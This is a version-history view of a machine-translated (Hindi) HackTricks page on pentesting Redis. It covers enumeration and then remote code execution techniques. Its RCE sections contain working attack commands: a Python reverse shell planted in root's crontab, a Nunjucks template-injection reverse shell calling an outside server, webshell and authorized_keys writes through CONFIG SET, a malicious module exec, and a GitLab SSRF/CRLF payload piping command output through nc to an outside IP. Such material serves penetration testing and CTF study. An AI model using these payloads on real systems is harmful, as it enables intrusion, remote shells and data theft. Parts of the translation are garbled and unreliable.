hacktricks/network-services-pentesting/6379-pentesting-redis.md

336 lines
32 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# 6379 - पेंटेस्टिंग रेडिस
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
**हैकिंग इंसाइट्स**\
उस सामग्री के साथ जुड़ें जो हैकिंग के रोमांच और चुनौतियों में डूबती है
**रियल-टाइम हैक न्यूज़**\
तेजी से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें न्यूज़ और इंसाइट्स के माध्यम से
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
2022-11-05 09:07:43 +00:00
## मूल जानकारी
2023-02-27 09:28:45 +00:00
[दस्तावेज़ से](https://redis.io/topics/introduction): Redis एक ओपन सोर्स (बीएसडी लाइसेंस), इन-मेमोरी **डेटा संरचना स्टोर** के रूप में उपयोग किया जाता है, जो एक **डेटाबेस**, कैश और संदेश ब्रोकर के रूप में उपयोग किया जाता है।
2023-02-27 09:28:45 +00:00
डिफ़ॉल्ट रेडिस एक सादा-पाठ के आधारित प्रोटोकॉल का उपयोग करता है, लेकिन आपको ध्यान में रखना होगा कि यह **ssl/tls** भी लागू कर सकता है। यहां [Redis को ssl/tls के साथ चलाना सीखें](https://fossies.org/linux/redis/TLS.md)।
**डिफ़ॉल्ट पोर्ट:** 6379
```
PORT STATE SERVICE VERSION
2020-09-24 19:39:13 +00:00
6379/tcp open redis Redis key-value store 4.0.9
```
2023-11-06 08:38:02 +00:00
## स्वचालित गणना
2023-11-06 08:38:02 +00:00
कुछ स्वचालित उपकरण जो एक रेडिस इंस्टेंस से जानकारी प्राप्त करने में मदद कर सकते हैं:
2020-07-19 21:58:26 +00:00
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## मैनुअल गणना
2023-11-06 08:38:02 +00:00
### बैनर
रेडिस एक **टेक्स्ट आधारित प्रोटोकॉल** है, आप बस **सॉकेट में कमांड भेज सकते हैं** और वापस आने वाले मान पढ़ सकते हैं। याद रखें कि रेडिस **ssl/tls** का उपयोग करके भी चल सकता है (लेकिन यह बहुत अजीब है)।
2020-07-20 15:31:30 +00:00
सामान्य रेडिस इंस्टेंस में आप बस `nc` का उपयोग करके कनेक्ट कर सकते हैं या आप `redis-cli` का भी उपयोग कर सकते हैं:
2020-07-20 15:31:30 +00:00
```bash
nc -vn 10.10.10.10 6379
2020-07-20 15:31:30 +00:00
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
**पहला कमांड** जो आप प्रयास कर सकते हैं वह है **`info`**। यह Redis इंस्टेंस की जानकारी के साथ आउटपुट वापस कर सकता है या कुछ इस प्रकार का आउटपुट वापस किया जा सकता है:
```
2020-07-20 15:31:30 +00:00
-NOAUTH Authentication required.
```
### रेडिस प्रमाणीकरण
**डिफ़ॉल्ट रूप से** रेडिस को **पहुंचा** जा सकता है **बिना प्रमाणों** के। हालांकि, इसे **केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड** का समर्थन करने के लिए **कॉन्फ़िगर** किया जा सकता है।\
आप _**redis.conf**_ फ़ाइल में `requirepass` पैरामीटर के साथ **एक पासवर्ड सेट कर सकते हैं** या सेवा पुनः आरंभ होने तक अस्थायी रूप से इसे कनेक्ट करके और चलाकर: `config set requirepass p@ss$12E45`।\
इसके अलावा, _**redis.conf**_ फ़ाइल में पैरामीटर `masteruser` में **एक उपयोगकर्ता** कॉन्फ़िगर किया जा सकता है।
2020-07-20 15:31:30 +00:00
{% hint style="info" %}
अगर केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोगकर्ता जिसे उपयोग किया जाता है "**डिफ़ॉल्ट**" है।\
इसके अलावा, ध्यान दें कि बाहरी रूप से पता नहीं चलता है कि रेडिस केवल पासवर्ड या उपयोगकर्ता+पासवर्ड के साथ कॉन्फ़िगर किया गया था।
2020-07-20 15:31:30 +00:00
{% endhint %}
इस तरह के मामलों में आपको **मान्य प्रमाणों** को खोजने की **आवश्यकता** होगी ताकि आप रेडिस के साथ बातचीत कर सकें इसलिए आप इसे [**ब्रूट-फ़ोर्स**](../generic-methodologies-and-resources/brute-force.md#redis) करने की कोशिश कर सकते हैं।\
**यदि आप मान्य प्रमाण पाएं तो आपको सत्र का प्रमाणीकरण करने की आवश्यकता होगी** जब आप कनेक्शन स्थापित करने के बाद इस कमांड के साथ:
2020-07-20 15:31:30 +00:00
```bash
AUTH <username> <password>
```
**मान्य प्रमाणपत्र** का जवाब दिया जाएगा: `+OK`
### **प्रमाणीकृत जांच**
2020-07-20 15:31:30 +00:00
यदि Redis सर्वर **अनाम संबंध** की अनुमति देता है या यदि आपने मान्य प्रमाणपत्र प्राप्त किया है, तो निम्नलिखित **कमांड** का उपयोग करके सेवा के लिए जांच प्रक्रिया प्रारंभ कर सकते हैं:
2020-07-19 22:28:20 +00:00
```bash
2020-07-20 15:31:30 +00:00
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**अन्य Redis कमांड** [**यहाँ पाए जा सकते हैं**](https://redis.io/topics/data-types-intro) **और** [**यहाँ**](https://lzone.de/cheat-sheet/Redis)**।**
नोट करें कि **एक इंस्टेंस के Redis कमांड को नामांकित** या _redis.conf_ फ़ाइल में हटा दिया जा सकता है। उदाहरण के लिए यह लाइन FLUSHDB कमांड को हटा देगी:
```
2020-07-23 16:41:26 +00:00
rename-command FLUSHDB ""
```
एक Redis सेवा को सुरक्षित ढंग से कॉन्फ़िगर करने के बारे में अधिक जानकारी यहाँ है: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
2020-07-23 16:41:26 +00:00
आप यहाँ से भी **रीयल टाइम में Redis कमांड्स को मॉनिटर** कर सकते हैं जो कमांड **`monitor`** के साथ चलाया जा सकता है या **25 सबसे धीमे क्वेरी** को प्राप्त कर सकते हैं **`slowlog get 25`**
और अधिक रोचक जानकारी के लिए यहाँ अधिक Redis कमांड्स के बारे में जानकारी प्राप्त करें: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
2020-07-20 15:31:30 +00:00
### **डेटाबेस का डंप**
Redis में **डेटाबेस संख्याएँ 0 से शुरू होती हैं**। आप यह जान सकते हैं कि क्या कोई भी उपयोग में है या नहीं कमांड `info` के आउटपुट में "Keyspace" चंक में:
![](<../.gitbook/assets/image (315).png>)
या आप सीधे सभी **keyspaces** (डेटाबेस) प्राप्त कर सकते हैं:
2022-09-01 13:34:28 +00:00
```
INFO keyspace
```
उस उदाहरण में **डेटाबेस 0 और 1** का उपयोग किया जा रहा है। **डेटाबेस 0 में 4 कुंजियाँ हैं और डेटाबेस 1 में 1 है**। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहारण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको निम्नलिखित करना होगा:
```bash
SELECT 1
[ ... Indicate the database ... ]
2023-11-06 08:38:02 +00:00
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
यदि आप `GET <KEY>` चलाते समय `-WRONGTYPE Operation against a key holding the wrong kind of value` त्रुटि मिलती है, तो यह इसलिए हो सकता है कि कुंजी कुछ और हो सकती है जैसे कि एक स्ट्रिंग या एक पूर्णांक नहीं है और इसे प्रदर्शित करने के लिए विशेष ऑपरेटर की आवश्यकता होती है।
कुंजी के प्रकार को जानने के लिए, `TYPE` कमांड का उपयोग करें, नीचे उदाहरण सूची और हैश कुंजियों के लिए है।
2021-11-07 19:50:21 +00:00
```
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
```
**नपम के साथ डेटाबेस डंप करें** [**रेडिस-डंप**](https://www.npmjs.com/package/redis-dump) **या पायथन** [**रेडिस-उपयोगिताएं**](https://pypi.org/project/redis-utils/)
2023-07-14 15:03:41 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-03-05 19:54:13 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) **सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!**
2023-02-27 09:28:45 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
2023-02-27 09:28:45 +00:00
**रियल-टाइम हैक समाचार**\
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से तेजी से बदलते हैकिंग विश्व में अद्यतन रहें
2023-02-27 09:28:45 +00:00
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
2023-07-14 15:03:41 +00:00
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!**
2022-11-05 09:07:43 +00:00
## रेडिस आरसीई
### इंटरैक्टिव शैल
2022-05-08 00:02:12 +00:00
[**रेडिस-रोग सर्वर**](https://github.com/n0b0dyCN/redis-rogue-server) रेडिस(<=5.0.5) में स्वचालित रूप से एक इंटरैक्टिव शैल या रिवर्स शैल प्राप्त कर सकता है।
2022-05-08 00:02:12 +00:00
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
2023-11-06 08:38:02 +00:00
### PHP वेबशेल
2022-05-08 00:02:12 +00:00
जानकारी [**यहाँ से**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)। आपको **वेबसाइट फ़ोल्डर** का **पथ** पता होना चाहिए:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
यदि वेबशेल एक्सेस असफल हो जाए, तो आप बैकअप के बाद डेटाबेस को खाली करके फिर से प्रयास कर सकते हैं, ध्यान रखें कि डेटाबेस को पुनर्स्थापित करना।
2023-11-06 08:38:02 +00:00
### टेम्पलेट वेबशेल
2022-06-25 09:48:48 +00:00
पिछले खंड में की तरह, आप किसी एचटीएमएल टेम्पलेट फ़ाइल को अधिक लिख सकते हैं जो एक टेम्पलेट इंजन द्वारा व्याख्या की जाएगी और एक शेल प्राप्त कर सकते हैं।
2022-06-25 09:48:48 +00:00
उदाहरण के लिए, [**इस व्रिटअप**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) का पालन करते हुए, आप देख सकते हैं कि हमलावर ने एक **एचटीएमएल में रेव शेल इंजेक्ट किया** जिसे **नंजक्स टेम्पलेट इंजन द्वारा व्याख्या किया गया था:**
2022-06-25 09:48:48 +00:00
```javascript
{{ ({}).constructor.constructor(
2023-11-06 08:38:02 +00:00
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
2022-06-25 09:48:48 +00:00
)()}}
```
{% hint style="warning" %}
ध्यान दें कि **कई टेम्पलेट इंजन कैश** में टेम्पलेट को **मेमोरी** में स्टोर किया जाता है, इसलिए यदि आप उन्हें ओवरराइट करते हैं, तो नया टेम्पलेट **क्रियान्वित नहीं होगा**। इन मामलों में, या तो डेवलपर ने स्वचालित पुनरावृत्ति सक्रिय छोड़ दी है या आपको सेवा पर डीओएस करने की आवश्यकता है (और उम्मीद करें कि यह स्वचालित रूप से पुनः लॉन्च होगा)।
2022-06-25 09:48:48 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### SSH
उदाहरण [यहाँ से](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
कृपया ध्यान दें कि **`config get dir`** परिणाम को अन्य मैन्युअल अभिशाप कमांड के बाद बदला जा सकता है। सुझाव दिया जाता है कि आप इसे रन करें जल्दी से जल्दी रेडिस में लॉगिन करने के बाद। **`config get dir`** के आउटपुट में आप **रेडिस उपयोगकर्ता** का **होम** (सामान्यत: _/var/lib/redis_ या _/home/redis/.ssh_) पा सकते हैं, और जानकारी होने पर आप यह जान जाते हैं कि आप कहां `authenticated_users` फ़ाइल लिख सकते हैं जिसके माध्यम से आप ssh के माध्यम से **रेडिस उपयोगकर्ता के साथ** एक्सेस कर सकते हैं। यदि आपको अन्य मान्य उपयोगकर्ता का होम पता है जिसमें आपके पास लिखने की अनुमति है, तो आप इसका दुरुपयोग भी कर सकते हैं:
2020-07-20 15:31:30 +00:00
2023-11-06 08:38:02 +00:00
1. अपने पीसी पर एक ssh पब्लिक-प्राइवेट कुंजी जोड़ें: **`ssh-keygen -t rsa`**
2. पब्लिक कुंजी को एक फ़ाइल में लिखें: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. फ़ाइल को रेडिस में आयात करें: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. रेडिस सर्वर पर **authorized\_keys** फ़ाइल में पब्लिक कुंजी को सहेजें:
2023-11-06 08:38:02 +00:00
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. अंत में, आप प्राइवेट कुंजी के साथ **रेडिस सर्वर** पर **ssh** कर सकते हैं: **ssh -i id\_rsa redis@10.85.0.52**
**यह तकनीक यहाँ स्वचालित है:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
2020-07-20 15:31:30 +00:00
2022-05-01 13:25:53 +00:00
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
अंतिम उदाहरण यूबंटू के लिए है, **Centos** के लिए, ऊपर का कमांड यह होना चाहिए: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
इस विधि का उपयोग बिटकॉइन कमाने के लिए भी किया जा सकता है: [yam](https://www.v2ex.com/t/286981#reply14)
### रेडिस मॉड्यूल लोड करें
2021-05-27 10:20:50 +00:00
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) से निर्देशों का पालन करते हुए आप **किसी भी कमांड को निषेधात्मक रूप से चलाने के लिए एक रेडिस मॉड्यूल को कंपाइल** कर सकते हैं।
2. फिर आपको कंपाइल किया गया **मॉड्यूल अपलोड** करने की कोई विधि चाहिए
3. `MODULE LOAD /path/to/mymodule.so` के साथ रनटाइम में **अपलोड किए गए मॉड्यूल को लोड** करें
4. यह सुनिश्चित करने के लिए कि यह सही ढंग से लोड हुआ है, **लोड किए गए मॉड्यूल की सूची** करें: `MODULE LIST`
5. **कमांड चलाएं**:
2023-11-06 08:38:02 +00:00
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. जब चाहें तब मॉड्यूल को अनलोड करें: `MODULE UNLOAD mymodule`
2021-05-27 10:20:50 +00:00
2023-11-06 08:38:02 +00:00
### LUA सैंडबॉक्स बाईपास
2020-07-20 15:31:30 +00:00
[**यहाँ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) आप देख सकते हैं कि रेडिस **EVAL** कमांड का उपयोग **लुआ कोड सैंडबॉक्स** को चलाने के लिए करता है। लिंक किए गए पोस्ट में आप देख सकते हैं कि **इसे** **दुरुपयोग** कैसे किया जा सकता है उसका उपयोग करके, लेकिन [शायद](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) यह अब और संभव नहीं है। चाहे तो, यदि आप **लुआ** सैंडबॉक्स को बाईपास कर सकते हैं तो आप सिस्टम पर **निर्देशित** कमांड चला सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ **DoS** कारणों के **विकल्प** देख सकते हैं।
2020-07-20 15:31:30 +00:00
कुछ **CVEs** जिनसे **LUA** से बाहर निकलने के लिए:
2022-05-16 21:20:15 +00:00
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
2023-11-06 08:38:02 +00:00
### मास्टर-स्लेव मॉड्यूल
मास्टर रेडिस सभी कार्रवाइयाँ स्वचालित रूप से स्लेव रेडिस में समक्षित की जाती हैं, जिसका मतलब है कि हम विकल्पनीय रूप से रेडिस को एक स्लेव रेडिस के रूप में देख सकते हैं, मास्टर रेडिस से जुड़ा हुआ, फिर हम अपने रेडिस में कमांड दर्ज कर सकते हैं।
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF रेडिस से बातचीत
यदि आप **स्पष्ट पाठ** अनुरोध **रेडिस** को भेज सकते हैं, तो आप इसके साथ **संवाद कर सकते हैं** क्योंकि रेडिस अनुरोध को पंक्ति द्वारा पढ़ेगा और उस पंक्तियों को केवल त्रुटियों के साथ प्रतिसाद देगा जिन्हें वह समझता नहीं है:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
इसलिए, अगर आप एक वेबसाइट में **SSRF vuln** खोजते हैं और आप कुछ **हेडर्स** (शायद CRLF vuln के साथ) या **POST parameters** को **नियंत्रित** कर सकते हैं, तो आप Redis को अनियमित कमांड भेज सकेंगे।
### उदाहरण: Gitlab SSRF + CRLF से शैल
**Gitlab11.4.7** में एक **SSRF** वंलरेबिलिटी और एक **CRLF** खोजे गए थे। **SSRF** वंलरेबिलिटी **आयात प्रोजेक्ट से URL कार्यक्षमता** में थी जब एक नया प्रोजेक्ट बनाते समय और इसे अनियमित IPs तक पहुंचने की अनुमति दी गई थी \[0:0:0:0:0:ffff:127.0.0.1] (यह 127.0.0.1 तक पहुंचेगा), और **CRLF** vuln का शोषण केवल **URL** में **%0D%0A** वर्ण जोड़कर किया गया था।
इसलिए, यह संभव था कि **इन वंलरेबिलिटीज का दुरुपयोग करके Redis उदाहरण से बातचीत करना** जो **gitlab** से **कतारें प्रबंधित** करता है और उन कतारों का दुरुपयोग करके **कोड निष्पादन प्राप्त** करना संभव था। Redis कतार दुरुपयोग पेलोड है:
```
2023-11-06 08:38:02 +00:00
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
और **URL encode** अनुरोध **SSRF का दुरुपयोग** और **CRLF** को निष्पादित करने के लिए `whoami` को चलाने और `nc` के माध्यम से आउटपुट भेजने के लिए है:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_किसी कारणवश (जैसे_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _के लेखक के लिए जहां यह जानकारी से ली गई थी) उत्पीड़न `git` योजना के साथ काम कर गया था और `http` योजना के साथ नहीं।_
2023-07-14 15:03:41 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-11-05 09:07:43 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
2023-02-27 09:28:45 +00:00
**हैकिंग इंसाइट्स**\
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
2023-02-27 09:28:45 +00:00
**रियल-टाइम हैक न्यूज़**\
रियल-टाइम समाचार और अंदरूनी दुनिया के साथ अप-टू-डेट रहें
2023-02-27 09:28:45 +00:00
**नवीनतम घोषणाएं**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
2023-02-27 09:28:45 +00:00
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।
2022-04-28 16:01:33 +00:00
</details>